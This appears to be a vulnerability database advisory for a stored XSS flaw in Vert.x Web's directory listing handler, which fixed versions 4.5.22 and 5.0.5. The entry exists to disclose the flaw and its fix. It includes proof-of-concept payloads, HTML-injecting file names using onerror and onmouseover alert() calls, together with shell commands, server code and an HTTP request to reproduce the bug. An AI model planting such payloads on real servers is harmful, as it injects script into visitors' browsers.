298,930
Total vulnerabilities in the database
StaticHandlerImpl#sendDirectoryListing(...) method under the text/html branch, file and directory names are directly embedded into the href, title, and link text without proper HTML escaping.vertx-web/src/main/java/io/vertx/ext/web/handler/impl/StaticHandlerImpl.javanormalizedDir is constructed without escaping<li><a ...> elements insert file names directly into attributes and body without escaping{directory}, {parent}, and {files} are inserted into the HTML template without escapingPrerequisites:
StaticHandlerStaticHandler.create("public").setDirectoryListing(true))Create a malicious file name (example for Unix-based OS):
public/ with one of the following names:
<img src=x onerror=alert('XSS')>.txtevil" onmouseover="alert('XSS')".txtmkdir -p public
printf 'test' > "public/<img src=x onerror=alert('XSS')>.txt"
Start the server (example):
router.route("/public/*").handler(StaticHandler.create("public").setDirectoryListing(true));vertx.createHttpServer().requestHandler(router).listen(8890);Verification request (raw HTTP):
GET /public/ HTTP/1.1
Host: 127.0.0.1:8890
Accept: text/html
Connection: close
Example response excerpt:
<ul id="files">
<li>
<a href="/public/<img src=x onerror=alert('XSS')>.txt"
title="<img src=x onerror=alert('XSS')>.txt">
<img src=x onerror=alert('XSS')>.txt
</a>
</li>
...
</ul>
/public/ in a browser, the unescaped file name is interpreted as HTML, and event handlers such as onerror are executed.Stored XSS
Common Conditions That Make Exploitation Easier
| Software | From | Fixed in |
|---|---|---|
io.vertx / vertx-web
|
- | 4.5.22 |
io.vertx / vertx-web
|
5.0.0 | 5.0.5 |